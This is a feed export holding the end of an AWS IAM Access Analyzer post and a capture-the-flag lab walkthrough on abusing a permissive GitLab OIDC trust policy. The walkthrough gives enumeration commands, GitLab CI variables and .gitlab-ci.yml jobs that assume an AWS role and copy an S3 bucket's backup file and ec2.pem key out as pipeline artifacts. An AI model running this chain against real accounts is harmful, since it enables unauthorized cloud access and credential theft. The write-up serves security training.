&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fizbsaarmyksnjus5abul.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fizbsaarmyksnjus5abul.png" alt="Image description" width="800" height="341"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpyxu017h1r8qtybasywy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpyxu017h1r8qtybasywy.png" alt="Image description" width="800" height="414"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Finally, notice that all findings are now resolved, lowing my attack surface.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fri936i1p9s6xulhys1my.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fri936i1p9s6xulhys1my.png" alt="Image description" width="800" height="340"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;We have learnt what AWS IAM Access Analyser is about, how to set it up and remediate findings. Ensure that you maintain a reduced attack surface and enforcing least privileged using IAM Access Analyzer by tracking your unused permissions, keys, passwords, roles and public facing resources.&lt;/p&gt;

&lt;p&gt;Check out this AWS &lt;a href="https://aws.amazon.com/blogs/security/how-to-prioritize-iam-access-analyzer-findings/" rel="noopener noreferrer"&gt;documentation&lt;/a&gt; for more information on access analyzer.&lt;/p&gt;

</description>
      <category>aws</category>
      <category>cloudsecurity</category>
      <category>devops</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Abuse OpenID Connect and GitLab for AWS Access.</title>
      <dc:creator>Constantine Ukah</dc:creator>
      <pubDate>Thu, 10 Apr 2025 01:53:27 +0000</pubDate>
      <link>https://forem.com/constantineukah/abuse-openid-connect-and-gitlab-for-aws-access-doc</link>
      <guid>https://forem.com/constantineukah/abuse-openid-connect-and-gitlab-for-aws-access-doc</guid>
      <description>&lt;h2&gt;
  
  
  What is an OpenID Connect (OIDC)?
&lt;/h2&gt;

&lt;p&gt;This is an authentication protocol built on top of OAuth 2.0 that allows applications to verify a user's identity based on authentication performed by an identity provider (IdP). In AWS, OIDC is commonly used for integrating third-party identity providers (such as Google, Okta, GitLab or GitHub) to assume an AWS IAM role and access AWS resources.&lt;/p&gt;

&lt;h2&gt;
  
  
  Real-world context
&lt;/h2&gt;

&lt;p&gt;When enabling OpenID Connect (OIDC) for ID federation between GitLab and AWS, the official GitLab documentation recommends that role assumption be restricted to a specific group, project, branch, or tag. However, we see multiple instances on GitLab forums or StackOverflow of people creating overly permissive role assumption policies, whether for convenience or to overcome problems. &lt;/p&gt;

&lt;p&gt;Hence, in this &lt;a href="https://pwnedlabs.io/labs/abuse-openid-connect-and-gitlab-for-aws-access" rel="noopener noreferrer"&gt;pwnedlabs.io&lt;/a&gt; lab, we would explore how an overly permissive OpenID Connect role assumption policy can lead to threat actors gaining access to an AWS account via GitLab.&lt;/p&gt;

&lt;h2&gt;
  
  
  Scenario
&lt;/h2&gt;

&lt;p&gt;It's time for an internal pentest, and the Huge Logistics internal security team have provided us with starting credentials to use for the assessment. Can you capitalize on a critical finding and show the client how overly permissive settings can lead to breach? The defenders have planted a flag for us in case we can escalate our access.&lt;/p&gt;

&lt;h2&gt;
  
  
  Enumeration
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Firstly, lets configure the starting credentials provided by our client with a profile of our choice which can be confirmed using
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws sts get-caller-identity --profile openid
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2h43i8tjqpij8itx1vdz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2h43i8tjqpij8itx1vdz.png" alt="Image description" width="723" height="143"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;From the snippet above, the username assigned to us is "pentester". Now, lets enumerate this username for possible policies assigned to this user using the commands -
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws iam list-attached-user-policies --user-name pentester --profile openid
aws iam list-user-policies --user-name pentester --profile openid
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fofn0mulji0ehsfk5ahr0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fofn0mulji0ehsfk5ahr0.png" alt="Image description" width="800" height="54"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl3ht0hxgqhyjhksd8o70.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl3ht0hxgqhyjhksd8o70.png" alt="Image description" width="800" height="51"&gt;&lt;/a&gt;&lt;br&gt;
Errors for the ran commands confirms our lack of permission to list policies for this user.&lt;/p&gt;

&lt;p&gt;So, what next? Are we stuck? I guess not. We will be using a tool called &lt;a href="https://github.com/BishopFox/cloudfox/releases" rel="noopener noreferrer"&gt;Cloudfox&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  What is CloudFox?
&lt;/h3&gt;

&lt;p&gt;It is an open-source cloud security assessment tool designed to help security professionals gather information about cloud environments efficiently. It automates cloud enumeration and privilege escalation analysis, primarily for AWS, but also supports Azure and Google Cloud.&lt;/p&gt;

&lt;p&gt;CloudFox helps you find attack paths and misconfigurations by listing exposed services, permissions, and credentials.&lt;/p&gt;
&lt;h3&gt;
  
  
  Installation of CloudFox
&lt;/h3&gt;

&lt;p&gt;For Mac Users, simply run &lt;em&gt;brew install cloudfox&lt;/em&gt;&lt;br&gt;
For Linux Users, install &lt;a href="https://golang.org/doc/install" rel="noopener noreferrer"&gt;go&lt;/a&gt; then, use &lt;em&gt;go install github.com/BishopFox/cloudfox@latest&lt;/em&gt; to install from the remote source.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Navigate into the &lt;em&gt;go/bin&lt;/em&gt; directory in your home directory, start by running all checks using your profile name. In my case, it is openid
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./cloudfox aws -p openid all-checks
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6ogyeiab2p8sd5fkz6mu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6ogyeiab2p8sd5fkz6mu.png" alt="Image description" width="800" height="531"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The command is successful and its content saved to a subdirectory in this format - &lt;em&gt;~/.cloudfox/cached-data/aws/your-aws-accountID&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fawdb3qxvx8gfqywglhgj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fawdb3qxvx8gfqywglhgj.png" alt="Image description" width="800" height="496"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Navigate into that subdirectory and list the content of the subdirectory. You would see multiple files. However, we are focus on privilege escalation. Hence, we would pay attention to the users and roles files.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsdb4hiws4p4mc6sn1v2k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsdb4hiws4p4mc6sn1v2k.png" alt="Image description" width="542" height="502"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Examining the user and role (excluding the aws managed roles) lists, we have 3 usernames - &lt;em&gt;bob, louise and pentester&lt;/em&gt; and 2 customer managed roles - &lt;em&gt;engineering and gitlab-terraform-deploy&lt;/em&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foag4zv5jrpknrqpzt6st.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foag4zv5jrpknrqpzt6st.png" alt="Image description" width="800" height="683"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm54gry026nbjyszoohrr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm54gry026nbjyszoohrr.png" alt="Image description" width="800" height="397"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Notice that the roles have &lt;strong&gt;AssumeRolePolicyDocuments&lt;/strong&gt; which is used to grants an IAM entity permission to assume a role but these document are URL-encoded.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Decoding the policy documents using &lt;a href="https://www.urldecoder.org/" rel="noopener noreferrer"&gt;urldecoder.org&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsa2yrb8qlh27so63m26a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsa2yrb8qlh27so63m26a.png" alt="Image description" width="800" height="570"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Copy the output to your commandline and then pass it to &lt;strong&gt;jq&lt;/strong&gt; for readability. 
Note: Install &lt;strong&gt;jq&lt;/strong&gt;. It is a lightweight command-line JSON processor that allows you to filter, parse, manipulate, and transform JSON data.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo '{"Version":"2012-10-17","Statement":[{"Sid":"AllowEngineersToAssumeRole","Effect":"Allow","Principal":{"AWS":["arn:aws:iam::137927188009:user/louise","arn:aws:iam::137927188009:user/bob"]},"Action":"sts:AssumeRole"}]}' | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpu7fbazf7ebg8s47bvib.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpu7fbazf7ebg8s47bvib.png" alt="Image description" width="800" height="230"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We see that bob and louise have permission to assume the engineering role.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo '{"Version":"2012-10-17","Statement":[{"Sid":"AllowGitlabToAssumeRole","Effect":"Allow","Principal":{"Federated":"arn:aws:iam::137927188009:oidc-provider/gitlab.com"},"Action":"sts:AssumeRoleWithWebIdentity","Condition":{"StringEquals":{"gitlab.com:aud":"https://gitlab.com"}}}]}' | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdbqplxsx61d115ey4n4a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdbqplxsx61d115ey4n4a.png" alt="Image description" width="800" height="270"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From the document above, &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Principal (Who is allowed to assume the role?): The trusted entity is GitLab's OIDC provider, which allows authentication via GitLab associated with the specified AWS account.&lt;/li&gt;
&lt;li&gt;Action (What is allowed?): This allows GitLab's OIDC provider to assume the IAM role using web identity federation.&lt;/li&gt;
&lt;li&gt;Condition (Extra security check): The condition "StringEquals": {"gitlab.com:aud": "&lt;a href="https://gitlab.com%22" rel="noopener noreferrer"&gt;https://gitlab.com"&lt;/a&gt;} specifies that the request must originate from GitLab and match the audience URL "&lt;a href="https://gitlab.com" rel="noopener noreferrer"&gt;https://gitlab.com&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In line with GitLab &lt;a href="https://docs.gitlab.com/ci/cloud_services/aws/" rel="noopener noreferrer"&gt;documentation&lt;/a&gt; which recommends restricting role assumption to a specific group, project, branch, or tag, you can see that the condition set in the policy document does not meet this recommendation. Instead, it allows any GitLab-authenticated user who meets the audience condition to assume the AWS role.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You can get more information about the assumed policy document using the command.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws iam get-role --role-name gitlab_terraform_deploy --profile openid
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Exploitation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Setup a GitLab account (if you have none) or log into your GitLab account (if you have one) and create a new project.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1s6354i7fxjtr72vljkx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1s6354i7fxjtr72vljkx.png" alt="Image description" width="800" height="273"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Navigate to Settings -&amp;gt; CI/CD -&amp;gt; Variables -&amp;gt; Add variable&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fua81lh5b6u1ssiqhz0or.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fua81lh5b6u1ssiqhz0or.png" alt="Image description" width="800" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Create 3 variables with the following values below.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Note: replace  for the ROLE_ARN variable with your AWS account ID (in my case, it is 137927188009) in your lab instance.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;**AWS_CONFIG_FILE**

Type: File
Environments: All (default)
Flags:
Protect variable: Checked
Expand variable reference: Checked
Key: AWS_CONFIG_FILE
Value:
**[profile oidc]
role_arn=${ROLE_ARN}
web_identity_token_file=${web_identity_token}**  

**ROLE_ARN**

Type: Variable (default)
Environments: All (default)
Flags:
Protect variable: Checked
Expand variable reference: Checked
Key: ROLE_ARN
Value:
**arn:aws:iam::&amp;lt;AWS_account_ID&amp;gt;:role/gitlab_terraform_deploy**   

**web_identity_token**

Type: File
Environments: All (default)
Flags:
Protect variable: Checked
Expand variable reference: Checked
Key: web_identity_token
Value:
**${GITLAB_OIDC_TOKEN}**
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7fwa15ch586495g5xpnz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7fwa15ch586495g5xpnz.png" alt="Image description" width="800" height="293"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Navigate to &lt;strong&gt;code -&amp;gt; Repository&lt;/strong&gt;, click on the &lt;strong&gt;Edit&lt;/strong&gt; button and select &lt;strong&gt;Web IDE&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy0je03m03kqj9zemkg53.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy0je03m03kqj9zemkg53.png" alt="Image description" width="800" height="302"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Create a &lt;em&gt;.gitlab-ci.yml&lt;/em&gt; file with the content below.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;variables:
  AWS_DEFAULT_REGION: us-east-1
  AWS_PROFILE: "oidc"

oidc:
  image:
    name: amazon/aws-cli:latest
    entrypoint: [""]
  id_tokens:
    GITLAB_OIDC_TOKEN:
      aud: https://gitlab.com
  script:
    - aws sts get-caller-identity
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script is designed to run in the &lt;strong&gt;&lt;code&gt;us-east-1&lt;/code&gt;&lt;/strong&gt; region. AWS uses &lt;strong&gt;profiles&lt;/strong&gt; to manage different authentication methods, and in this case, the &lt;code&gt;"oidc"&lt;/code&gt; profile instructs the AWS CLI to use &lt;strong&gt;OIDC-based authentication&lt;/strong&gt; instead of traditional AWS access keys.&lt;br&gt;&lt;br&gt;
The GitLab job is named &lt;strong&gt;&lt;code&gt;oidc&lt;/code&gt;&lt;/strong&gt;, and it runs the &lt;strong&gt;latest AWS CLI image&lt;/strong&gt; with an &lt;strong&gt;entrypoint set to &lt;code&gt;[""]&lt;/code&gt;&lt;/strong&gt; to prevent default behaviors.&lt;br&gt;&lt;br&gt;
Within the script, the &lt;strong&gt;&lt;code&gt;id_tokens&lt;/code&gt;&lt;/strong&gt; section tells GitLab to &lt;strong&gt;generate an OIDC token&lt;/strong&gt; for AWS authentication. The token is stored in the &lt;strong&gt;&lt;code&gt;GITLAB_OIDC_TOKEN&lt;/code&gt;&lt;/strong&gt; environment variable. Additionally, the &lt;strong&gt;&lt;code&gt;aud: https://gitlab.com&lt;/code&gt;&lt;/strong&gt; condition ensures that only GitLab jobs can assume an AWS role—AWS validates the token and verifies that it was issued by GitLab before granting access.&lt;br&gt;&lt;br&gt;
Finally, the script runs &lt;strong&gt;&lt;code&gt;aws sts get-caller-identity&lt;/code&gt;&lt;/strong&gt;, which calls &lt;strong&gt;AWS Security Token Service (STS)&lt;/strong&gt; to confirm &lt;strong&gt;the identity of the job&lt;/strong&gt; that is executing the request.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foi8oaymahw5e7ize669e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foi8oaymahw5e7ize669e.png" alt="Image description" width="800" height="298"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Comment and commit the job to the main branch.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fneqg0chyi6he43jzbm8u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fneqg0chyi6he43jzbm8u.png" alt="Image description" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The script completed successfully and this means we have successfully assumed the gitlab_terraform_deploy role.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Knowing that automation files like CloudFormation and Terraform state files are commonly stored in s3 buckets, we can enumerate s3 for possible files. Simply run the script &lt;code&gt;aws s3 ls&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fewl3226p2spjocs2n4tl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fewl3226p2spjocs2n4tl.png" alt="Image description" width="800" height="277"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffhc75zjzzzkjz2qrsfnz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffhc75zjzzzkjz2qrsfnz.png" alt="Image description" width="800" height="490"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Enumerate the &lt;code&gt;huge-logistics-engineering-1e4a1dbe6edc&lt;/code&gt; bucket.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;variables:
  AWS_DEFAULT_REGION: us-east-1
  AWS_PROFILE: "oidc"

oidc:
  image:
    name: amazon/aws-cli:latest
    entrypoint: [""]
  id_tokens:
    GITLAB_OIDC_TOKEN:
      aud: https://gitlab.com
  script:
    - aws s3 ls huge-logistics-engineering-1e4a1dbe6edc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fevl4hyvxj7ae37zprg3n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fevl4hyvxj7ae37zprg3n.png" alt="Image description" width="800" height="579"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Notice that there are 2 files - backup.txt &amp;amp; ec2.pem.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Now, let download these files
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;variables:
  AWS_DEFAULT_REGION: us-east-1
  AWS_PROFILE: "oidc"

oidc:
  image:
    name: amazon/aws-cli:latest
    entrypoint: [""]
  id_tokens:
    GITLAB_OIDC_TOKEN:
      aud: https://gitlab.com
  script:
    - aws s3 sync s3://huge-logistics-engineering-1e4a1dbe6edc/ .
  artifacts:
    paths:
      - backup.txt
      - ec2.pem
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


